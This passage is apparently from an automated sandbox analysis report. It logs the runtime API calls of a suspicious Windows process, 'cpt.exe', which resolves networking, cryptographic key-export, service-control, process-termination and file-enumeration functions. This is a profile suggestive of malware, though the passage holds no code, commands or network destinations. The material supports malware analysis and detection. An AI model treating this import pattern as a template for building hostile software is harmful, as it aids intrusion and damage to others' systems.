(_Block=0x10b1390) [0125.378] free (_Block=0x10b24e8) [0125.378] free (_Block=0x10bfa40) [0125.378] CloseHandle (hObject=0x3c) returned 1 [0125.378] free (_Block=0x10b1360) [0125.378] free (_Block=0x10b1340) [0125.378] GetCurrentThreadId () returned 0x1420 [0125.379] CloseHandle (hObject=0x40) returned 1 [0125.379] free (_Block=0x10b1370) [0125.379] free (_Block=0x10b12b8) [0125.379] free (_Block=0x10b1230) [0125.379] free (_Block=0x10b11a8) [0125.379] free (_Block=0x10b1098) [0125.379] free (_Block=0x10b0f00) [0125.379] free (_Block=0x10b0e78) Process: id = "23" image_name = "cpt.exe" filename = "c:\\program files\\common files\\system\\cpt.exe" page_root = "0x29214000" os_pid = "0x1434" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0xa08" cmd_line = "\"C:\\Program Files\\Common Files\\System\\cpt.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 800 os_tid = 0x1438 [0120.720] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0120.721] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0120.721] GetModuleHandleA (lpModuleName="WINHTTP.dll") returned 0x73ea0000 [0120.721] GetProcAddress (hModule=0x73ea0000, lpProcName="WinHttpSendRequest") returned 0x73ea79bd [0120.721] GetProcAddress (hModule=0x73ea0000, lpProcName="WinHttpConnect") returned 0x73ead9f5 [0120.721] GetProcAddress (hModule=0x73ea0000, lpProcName="WinHttpOpenRequest") returned 0x73ea4aea [0120.721] GetProcAddress (hModule=0x73ea0000, lpProcName="WinHttpOpen") returned 0x73ea58b9 [0120.721] GetProcAddress (hModule=0x73ea0000, lpProcName="WinHttpReceiveResponse") returned 0x73eab262 [0120.722] GetProcAddress (hModule=0x73ea0000, lpProcName="WinHttpCloseHandle") returned 0x73ea2c01 [0120.722] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0120.722] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0120.722] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0120.722] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0120.722] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0120.722] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0120.722] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0120.722] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0120.722] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0120.722] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0120.722] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0120.722] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFiber") returned 0x76e4b872 [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="ConvertFiberToThread") returned 0x76ea5580 [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentVariableW") returned 0x76e21b48 [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0120.723] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleA") returned 0x76ec7321 [0120.724] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0120.724] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibrary") returned 0x76e234c8 [0120.724] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0120.724] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0120.724] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileW") returned 0x76e24435 [0120.724] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileW") returned 0x76e254ee [0120.724] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0120.724] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0120.724] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleCtrlHandler") returned 0x76e28a09 [0120.724] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0120.724] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemInfo") returned 0x76e249ca [0120.724] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileAttributesA") returned 0x76e3ecd3 [0120.725] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0120.725] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0120.725] GetProcAddress (hModule=0x76e10000, lpProcName="Process32Next") returned 0x76e488a4 [0120.725] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileA") returned 0x76e253c6 [0120.725] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0120.725] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0120.725] GetProcAddress (hModule=0x76e10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e4735f [0120.725] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0120.725] GetProcAddress (hModule=0x76e10000, lpProcName="CreateMutexA") returned 0x76e24c6b [0120.726] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0120.726] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointer") returned 0x76e217d1 [0120.726] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileA") returned 0x76e4d53e [0120.726] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeA") returned 0x76e3ef75 [0120.726] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0120.726] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0120.726] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileA") returned 0x76e2e2ce [0120.726] GetProcAddress (hModule=0x76e10000, lpProcName="Process32First") returned 0x76e48ae7 [0120.726] GetProcAddress (hModule=0x76e10000, lpProcName="MoveFileA") returned 0x76e9d911 [0120.726] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0120.726] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeZoneInformation") returned 0x76e2465a [0120.726] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0120.726] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="HeapValidate") returned 0x76e3b17b [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="GetFullPathNameW") returned 0x76e240d4 [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentDirectoryW") returned 0x76e25611 [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="HeapQueryInformation") returned 0x76ea43ff [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesExW") returned 0x76e24574 [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0120.727] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesW") returned 0x76ea425f [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLCID") returned 0x76e23da5 [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocale") returned 0x76e3ce46 [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="FileTimeToSystemTime") returned 0x76e2542c [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineA") returned 0x76e251a1 [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="SetEnvironmentVariableW") returned 0x76e289f1 [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandle") returned 0x76e253ae [0120.728] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryA") returned 0x76e249d7 [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="TryEnterCriticalSection") returned 0x77352500 [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="SwitchToThread") returned 0x76e3efec [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObjectEx") returned 0x76e21151 [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThread") returned 0x76e217ec [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringW") returned 0x76e23bca [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoW") returned 0x76e23c42 [0120.729] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSListHead") returned 0x773594a4 [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="CreateTimerQueue") returned 0x76e4b020 [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="SignalObjectAndWait") returned 0x76e3f8a4 [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadPriority") returned 0x76e232bb [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="GetThreadPriority") returned 0x76e243bf [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0120.730] GetProcAddress (hModule=0x76e10000, lpProcName="CreateTimerQueueTimer") returned 0x76e3f7eb [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="ChangeTimerQueueTimer") returned 0x76ea40eb [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteTimerQueueTimer") returned 0x76e3f7d3 [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="GetNumaHighestNodeNumber") returned 0x76ea20b2 [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessAffinityMask") returned 0x76e2a871 [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadAffinityMask") returned 0x76e405a0 [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="RegisterWaitForSingleObject") returned 0x76e4cb05 [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="UnregisterWait") returned 0x76eae6ab [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="GetThreadTimes") returned 0x76ea53eb [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryAndExitThread") returned 0x76e3d582 [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleA") returned 0x76e21245 [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0120.731] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersionExW") returned 0x76e21ae5 [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualAlloc") returned 0x76e21856 [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualFree") returned 0x76e2186e [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSemaphore") returned 0x76e3d3ab [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedPopEntrySList") returned 0x77354770 [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedPushEntrySList") returned 0x77354757 [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedFlushSList") returned 0x77352775 [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="QueryDepthSList") returned 0x7735471c [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="UnregisterWaitEx") returned 0x76e4b921 [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="RaiseException") returned 0x76e258a6 [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileExW") returned 0x76e31811 [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="SystemTimeToTzSpecificLocalTime") returned 0x76e40652 [0120.732] GetProcAddress (hModule=0x76e10000, lpProcName="PeekNamedPipe") returned 0x76ea4821 [0120.733] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x76780000 [0120.733] GetProcAddress (hModule=0x76780000, lpProcName="MessageBoxW") returned 0x767efd3f [0120.733] GetProcAddress (hModule=0x76780000, lpProcName="GetUserObjectInformationW") returned 0x76798068 [0120.733] GetProcAddress (hModule=0x76780000, lpProcName="GetProcessWindowStation") returned 0x76799eea [0120.733] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x754b0000 [0120.733] GetProcAddress (hModule=0x754b0000, lpProcName="CryptGetProvParam") returned 0x754f3218 [0120.733] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExA") returned 0x754c14b3 [0120.733] GetProcAddress (hModule=0x754b0000, lpProcName="ControlService") returned 0x754d7144 [0120.733] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyExA") returned 0x754c1469 [0120.733] GetProcAddress (hModule=0x754b0000, lpProcName="OpenSCManagerW") returned 0x754bca64 [0120.733] GetProcAddress (hModule=0x754b0000, lpProcName="QueryServiceStatus") returned 0x754c2a86 [0120.733] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0120.733] GetProcAddress (hModule=0x754b0000, lpProcName="DeregisterEventSource") returned 0x754c35dd [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="CryptEnumProvidersW") returned 0x754f31e8 [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="CryptSignHashW") returned 0x754f32b8 [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="CryptDestroyHash") returned 0x754bdf66 [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="CryptCreateHash") returned 0x754bdf4e [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="CryptDecrypt") returned 0x754f3178 [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="CryptExportKey") returned 0x754b91ea [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="CryptGetUserKey") returned 0x754f3228 [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="OpenServiceA") returned 0x754c2bf0 [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="CryptSetHashParam") returned 0x754f3248 [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="CryptDestroyKey") returned 0x754bc51a [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="CryptReleaseContext") returned 0x754be124 [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="CryptAcquireContextW") returned 0x754bdf14 [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="ReportEventW") returned 0x754bc839 [0120.734] GetProcAddress (hModule=0x754b0000, lpProcName="RegisterEventSourceW") returned 0x754c271c [0120.735] GetModuleHandleA (lpModuleName="SHELL32.dll") returned 0x75670000 [0120.735] GetProcAddress (hModule=0x75670000, lpProcName="ShellExecuteA") returned 0x758b7078 [0120.735] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x75360000 [0120.782] GetProcAddress (hModule=0x75360000, lpProcName=0x70) returned 0x753637d9 [0120.782] GetProcAddress (hModule=0x75360000, lpProcName=0x13) returned 0x75366f01 [0120.782] GetProcAddress (hModule=0x75360000, lpProcName=0x10) returned 0x75366b0e [0120.782] GetProcAddress (hModule=0x75360000, lpProcName=0x3) returned 0x75363918 [0120.782] GetProcAddress (hModule=0x75360000, lpProcName=0x6f) returned 0x753637ad [0120.782] GetProcAddress (hModule=0x75360000, lpProcName=0x74) returned 0x75363c5f [0120.782] GetModuleHandleA (lpModuleName="CRYPT32.dll") returned 0x75550000 [0120.782] GetProcAddress (hModule=0x75550000, lpProcName="CertCloseStore") returned 0x7555dd10 [0120.782] GetProcAddress (hModule=0x75550000, lpProcName="CertEnumCertificatesInStore") returned 0x7555e33a [0120.782] GetProcAddress (hModule=0x75550000, lpProcName="CertFindCertificateInStore") returned 0x755625e8 [0120.783] GetProcAddress (hModule=0x75550000, lpProcName="CertDuplicateCertificateContext") returned 0x7556e07c [0120.783] GetProcAddress (hModule=0x75550000, lpProcName="CertFreeCertificateContext") returned 0x7555f5b5 [0120.783] GetProcAddress (hModule=0x75550000, lpProcName="CertGetCertificateContextProperty") returned 0x75560bda [0120.783] GetProcAddress (hModule=0x75550000, lpProcName="CertOpenStore") returned 0x7555df23 [0120.783] GetModuleHandleA (lpModuleName="bcrypt.dll") returned 0x73b10000 [0120.783] GetProcAddress (hModule=0x73b10000, lpProcName="BCryptGenRandom") returned 0x73b11e2e [0120.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff60 | out: lpSystemTimeAsFileTime=0x18ff60*(dwLowDateTime=0x9c7686a0, dwHighDateTime=0x1d5ca1f)) [0120.784] GetCurrentThreadId () returned 0x1438 [0120.784] GetCurrentProcessId () returned 0x1434 [0120.784] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff58 | out: lpPerformanceCount=0x18ff58*=26189366721) returned 1 [0120.784] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0120.784] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0120.784] GetLastError () returned 0x57 [0120.784] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0120.784] GetLastError () returned 0x57 [0120.784] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0120.784] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0120.784] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0120.784] GetLastError () returned 0x57 [0120.784] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0120.784] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0120.784] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0120.784] GetLastError () returned 0x57 [0120.784] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0120.785] GetLastError () returned 0x57 [0120.785] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0120.785] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0120.785] GetProcessHeap () returned 0x7b0000 [0120.785] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0120.785] GetLastError () returned 0x57 [0120.785] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0120.785] GetLastError () returned 0x57 [0120.785] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0120.785] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0120.785] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x388) returned 0x7cc5e8 [0120.786] SetLastError (dwErrCode=0x57) [0120.786] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0xc24) returned 0x7cc978 [0120.787] GetStartupInfoW (in: lpStartupInfo=0x18fe48 | out: lpStartupInfo=0x18fe48*(cb=0x44, lpReserved="", lpDesktop="", lpTitle="C:\\Program Files\\Common Files\\System\\cpt.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7efde000, hStdError=0x0)) [0120.787] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0120.787] GetFileType (hFile=0x3) returned 0x0 [0120.787] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0120.787] GetFileType (hFile=0x7) returned 0x0 [0120.787] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0120.787] GetFileType (hFile=0xb) returned 0x0 [0120.787] GetCommandLineA () returned="\"C:\\Program Files\\Common Files\\System\\cpt.exe\"" [0120.787] GetCommandLineW () returned="\"C:\\Program Files\\Common Files\\System\\cpt.exe\"" [0120.788] GetACP () returned 0x4e4 [0120.788] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x244) returned 0x7cdda8 [0120.788] IsValidCodePage (CodePage=0x4e4) returned 1 [0120.788] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe74 | out: lpCPInfo=0x18fe74) returned 1 [0120.788] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f738 | out: lpCPInfo=0x18f738) returned 1 [0120.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd4c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0120.788] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x22c) returned 0x7cdff8 [0120.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd4c, cbMultiByte=256, lpWideCharStr=0x7ce020, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0120.788] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpCharType=0x18f74c | out: lpCharType=0x18f74c) returned 1 [0120.788] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cdff8) returned 1 [0120.788] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cdff8 | out: hHeap=0x7b0000) returned 1 [0120.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd4c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0120.788] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x22c) returned 0x7cdff8 [0120.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd4c, cbMultiByte=256, lpWideCharStr=0x7ce020, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 